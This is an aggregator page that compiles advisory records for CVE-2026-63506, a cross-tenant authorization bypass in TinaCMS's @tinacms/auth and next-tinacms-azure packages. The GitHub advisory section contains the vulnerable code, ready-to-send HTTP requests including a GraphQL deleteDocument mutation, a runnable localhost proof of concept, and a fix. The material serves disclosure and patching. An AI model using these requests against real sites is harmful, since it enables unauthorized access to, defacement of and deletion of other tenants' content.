Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources, documents or advisories need attention: 274/275 feeds/APIs · 468/469 docs · 8/9 advisories · checked 02:22 UTC Customize Public modeDiscuss ChangeIntel on Discord

Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2026-63506

Published

Tina is a headless content management system. Prior to @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1, isAuthorized accepts a request-controlled clientID and asks isUserAuthorized to validate the bearer token against that selected TinaCloud app instead of the self-hosted site's configured app. An attacker with any TinaCloud account can submit the attacker's own app ID and valid token to a victim endpoint, causing TinaCloudBackendAuthProvider or an affected media authorized callback to accept the attacker's verified status across the tenant boundary. The vulnerable logic is present in packages/@tinacms/auth/src/index.ts and packages/next-tinacms-azure/src/auth.ts. Successful exploitation permits media listing, reading, upload, or deletion and, when TinaCloudBackendAuthProvider is used, GraphQL read, create, update, and delete operations on the victim's content without a victim account or victim interaction. This vulnerability is fixed in @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1.

Source published
16 Sep 2026 20:27:37 UTC
Source modified
17 Sep 2026 15:54:38 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

euvd · EUVD-2026-81019

Published

Tina is a headless content management system. Prior to @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1, isAuthorized accepts a request-controlled clientID and asks isUserAuthorized to validate the bearer token against that selected TinaCloud app instead of the self-hosted site's configured app. An attacker with any TinaCloud account can submit the attacker's own app ID and valid token to a victim endpoint, causing TinaCloudBackendAuthProvider or an affected media authorized callback to accept the attacker's verified status across the tenant boundary. The vulnerable logic is present in packages/@tinacms/auth/src/index.ts and packages/next-tinacms-azure/src/auth.ts. Successful exploitation permits media listing, reading, upload, or deletion and, when TinaCloudBackendAuthProvider is used, GraphQL read, create, update, and delete operations on the victim's content without a victim account or victim interaction. This vulnerability is fixed in @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Sep 16, 2026, 8:27:37 PM

dateUpdated: Sep 17, 2026, 3:54:38 PM

Source published
Sep 16, 2026, 8:27:37 PM (timezone not stated)
Source modified
Sep 17, 2026, 3:54:38 PM (timezone not stated)
Observed here
11 Nov 2026 15:06:36 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.1 · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

nvd · CVE-2026-63506

Published

Tina is a headless content management system. Prior to @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1, isAuthorized accepts a request-controlled clientID and asks isUserAuthorized to validate the bearer token against that selected TinaCloud app instead of the self-hosted site's configured app. An attacker with any TinaCloud account can submit the attacker's own app ID and valid token to a victim endpoint, causing TinaCloudBackendAuthProvider or an affected media authorized callback to accept the attacker's verified status across the tenant boundary. The vulnerable logic is present in packages/@tinacms/auth/src/index.ts and packages/next-tinacms-azure/src/auth.ts. Successful exploitation permits media listing, reading, upload, or deletion and, when TinaCloudBackendAuthProvider is used, GraphQL read, create, update, and delete operations on the victim's content without a victim account or victim interaction. This vulnerability is fixed in @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-639

Original publisher date fields

published: 2026-09-16T21:17:13.163

lastModified: 2026-09-30T17:51:56.193

Source published
16 Sep 2026 21:17:13 UTC
Source modified
30 Sep 2026 17:51:56 UTC
Observed here
25 Oct 2026 15:18:45 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Secondary · 8.8 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

osv · GHSA-g74q-6g2f-874x

Published

## Summary `@tinacms/auth`'s `isAuthorized(req)` decides authorization by validating the caller's bearer token against `https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser`, where the `clientID` comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?" Any TinaCloud user can create their own free app, get a valid token for it, and send `?clientID=<their-own-app>` plus `Authorization: <their-own-token>` to a victim self-hosted site. The victim's `authorized` callback runs `const user = await isAuthorized(req); return user && user.verified`, which returns `true`, and the victim authorizes the attacker. The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses `TinaCloudBackendAuthProvider()` (the default the `tinacms init` wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content. ## Affected code (confirmed at `5a6839f`) `packages/@tinacms/auth/src/index.ts:71-88` reads the `clientID` from the request: ```ts export const isAuthorized = async (req: NextApiRequest) => { const clientID = req.query.clientID; // attacker-controlled const token = req.headers.authorization; // attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; ``` `index.ts:16-43` sends that caller-chosen `clientID` straight to the identity server, and returns the user on `200`: ```ts const tinaCloudRes = await fetch( `https://identity.tinajs.io/v2/apps/${clientID}/currentUser`, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' } ); if (tinaCloudRes.ok) { return await tinaCloudRes.json(); } ``` `index.ts:118-135` (`TinaCloudBackendAuthProvider`) gates only on `verified`, which reflects the attacker's own email verification: ```ts isAuthorized: async (req, _res) => { const user = await isAuthorized(req as NextApiRequest); if (user && user.verified) return { isAuthorized: true }; return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' }; }, ``` Every media-store README wires the same gate (`next-tinacms-cloudinary/README.md:113-122`, identical in `s3` and `dos`): ```ts authorized: async (req, _res) => { if (process.env.NEXT_PUBLIC_USE_LOCAL_CLIENT === '1') return true; const user = await isAuthorized(req); return user && user.verified; // no clientID === <this site's app> check } ``` The bug is duplicated in `next-tinacms-azure/src/auth.ts:34-51` (`req.nextUrl.searchParams.get('clientID')`). Downstream nothing pins the site's `clientID`: `@tinacms/datalayer/src/backend/index.ts:201` gates on the boolean, and `next-tinacms-cloudinary/src/handlers.ts:36` returns 401 only when the callback is false. The `tinacms init` TinaCloud path ships this by default (`@tinacms/cli/.../prompts/authProvider.ts:17` -> `TinaCloudBackendAuthProvider()`, used in `templates/tinaNextRoute.tsx:21-24` for every non-local deployment). ## Steps to reproduce (real target) **Setup:** attacker has one free TinaCloud account with one app (`clientID = ATTACKER_APP`, token `T_attacker`) and no victim account. Victim is any self-hosted TinaCMS site using `@tinacms/auth`. Media bucket (read; the same gate covers `POST` upload and `DELETE`): ``` GET /api/cloudinary/media?clientID=ATTACKER_APP HTTP/1.1 Host: victim.example Authorization: T_attacker ``` Content backend, when `TinaCloudBackendAuthProvider` is used: ``` POST /api/tina/gql?clientID=ATTACKER_APP HTTP/1.1 Host: victim.example Authorization: T_attacker Content-Type: application/json {"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){__typename}}","variables":{"c":"post","r":"hello.md"}} ``` **Expected:** 401/403 for a user with no access to `victim.example`. **Actual:** 200, because authorization is bound to the attacker-supplied `clientID`. ## Proof of concept (self-contained, zero dependencies) Save the file below as `poc.js` and run `node poc.js` (Node >= 18). It runs the package's own `isAuthorized` / `isUserAuthorized` (TypeScript types removed; the hard-coded `identity.tinajs.io` base read from an env var so it points at a local identity model) behind the verbatim media-store `authorized` callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against. ```js /** * Self-contained PoC — @tinacms/auth cross-tenant authorization bypass * Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3) * * Zero dependencies. Run with: node poc.js (Node >= 18 for global fetch) * * The two functions below are copied from packages/@tinacms/auth/src/index.ts. * The ONLY changes are: TypeScript types removed, and the hard-coded * https://identity.tinajs.io base read from IDENTITY_BASE so it can point at the * local identity model. req.query.clientID, the currentUser call, and the * `user && user.verified` gate are byte-for-byte the original logic. */ const http = require('http'); const IDENTITY_PORT = 18099; const VICTIM_PORT = 19090; process.env.IDENTITY_BASE = `http://127.0.0.1:${IDENTITY_PORT}`; /* ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== */ const isUserAuthorized = async (args) => { const clientID = args.clientID; const token = args.token; try { const tinaCloudRes = await fetch( `${process.env.IDENTITY_BASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser`, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET', } ); if (tinaCloudRes.ok) { const user = await tinaCloudRes.json(); return user; } return; } catch (e) { console.error(e); throw e; } }; const isAuthorized = async (req) => { const clientID = req.query.clientID; // <-- attacker-controlled const token = req.headers.authorization; // <-- attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; /* ===== identity model: a token grants access to the app its owner owns ===== This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug is that the victim lets the caller choose which app to validate against. */ const TOKEN_FOR = { 'victim-app': 'valid-token-for-victim-app', 'attacker-app': 'valid-token-for-attacker-app', }; const USER_FOR = { 'victim-app': { id: 'u-victim', email: '[email protected]', verified: true, role: 'admin' }, 'attacker-app': { id: 'u-attacker', email: '[email protected]', verified: true, role: 'admin' }, }; const identity = http.createServer((req, res) => { const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/); if (!m) { res.writeHead(404); return res.end('nf'); } const app = decodeURIComponent(m[1]); if (TOKEN_FOR[app] && req.headers['authorization'] === TOKEN_FOR[app]) { res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify(USER_FOR[app])); } res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'unauthorized for this app' })); }); /* ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== */ const authorized = async (req) => { const user = await isAuthorized(req); return user && user.verified; // never checks req.query.clientID === victim-app }; const victim = http.createServer(async (req, res) => { const u = new URL(req.url, `http://127.0.0.1:${VICTIM_PORT}`); req.query = Object.fromEntries(u.searchParams.entries()); if (!u.pathname.startsWith('/api/cloudinary/media')) { res.writeHead(404); return res.end('nf'); } if (!(await authorized(req))) { res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'sorry this user is unauthorized' })); } res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ authorized: true, site: 'victim-app', media: ['victim/private/contract.pdf', 'victim/private/customers.csv'] })); }); /* ===== driver ===== */ function call(clientID, token) { return new Promise((resolve) => { const r = http.request({ host: '127.0.0.1', port: VICTIM_PORT, path: `/api/cloudinary/media?clientID=${encodeURIComponent(clientID)}`, method: 'GET', headers: { authorization: token } }, (res) => { let b = ''; res.on('data', (c) => (b += c)); res.on('end', () => resolve({ status: res.statusCode, body: b })); }); r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end(); }); } (async () => { await new Promise((r) => identity.listen(IDENTITY_PORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VICTIM_PORT, '127.0.0.1', r)); const c1 = await call('victim-app', 'valid-token-for-victim-app'); console.log('[CONTROL 1 legit victim user ] clientID=victim-app token=victim ->', c1.status, c1.body); const c2 = await call('victim-app', 'valid-token-for-attacker-app'); console.log('[CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker ->', c2.status, c2.body); const atk = await call('attacker-app', 'valid-token-for-attacker-app'); console.log('[ATTACK attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body); const bug = c1.status === 200 && c2.status === 401 && atk.status === 200; console.log('\nVERDICT:', bug ? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.' : 'NOT REPRODUCED'); identity.close(); victim.close(); process.exit(bug ? 0 : 1); })(); ``` Output: ``` [CONTROL 1 legit victim user ] clientID=victim-app token=victim -> 200 {"authorized":true,"site":"victim-app","media":[...]} [CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker -> 401 {"message":"sorry this user is unauthorized"} [ATTACK attacker own app+token ] clientID=attacker-app token=attacker -> 200 {"authorized":true,"site":"victim-app","media":[...]} VERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app. ``` CONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media. I verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production `identity.tinajs.io` with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that `GET /v2/apps/<attacker-app>/currentUser` with the attacker's own token returns `200` + `verified:true`, is the normal behavior of an app owner's own session. ## Impact An attacker with a free TinaCloud account reaches editor-level control of unrelated tenants: - **Media handlers:** list and read media, upload arbitrary objects (`next-tinacms-dos` writes `ACL: public-read`, usable to host malware or phishing under the victim's CDN), and delete media by key. - **`TinaCloudBackendAuthProvider` backend:** arbitrary GraphQL. Read every document, `createDocument` / `updateDocument` to deface or inject content that deploys to production, and `deleteDocument` to destroy content. The attacker scripts requests with their own token and `clientID=<own app>` against known TinaCMS self-hosted endpoints, so it scales across deployments. ## Fix Bind the decision to the site's own configured app id instead of the request value. ```diff - export const isAuthorized = async (req: NextApiRequest) => { - const clientID = req.query.clientID; - const token = req.headers.authorization; + export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => { + const requestClientID = req.query.clientID; + const token = req.headers.authorization; + const clientID = expectedClientID ?? process.env.NEXT_PUBLIC_TINA_CLIENT_ID; + if (expectedClientID && requestClientID && requestClientID !== expectedClientID) { + return undefined; // refuse a cross-tenant clientID + } if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; ``` Thread the site's configured `clientID` into `TinaCloudBackendAuthProvider()` and the media handler config, require `isUserAuthorized` to use it rather than `req.query.clientID`, apply the same change to `next-tinacms-azure/src/auth.ts`, and update the media-store READMEs so integrators stop reintroducing the request-driven `clientID`.

Source published
17 Sep 2026 14:59:00 UTC
Source modified
17 Sep 2026 16:32:22 UTC
Observed here
24 Oct 2026 13:17:17 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 12 Nov 02:22 UTC · 274 of 275 readable · 272 fully read · documentation 468/469 current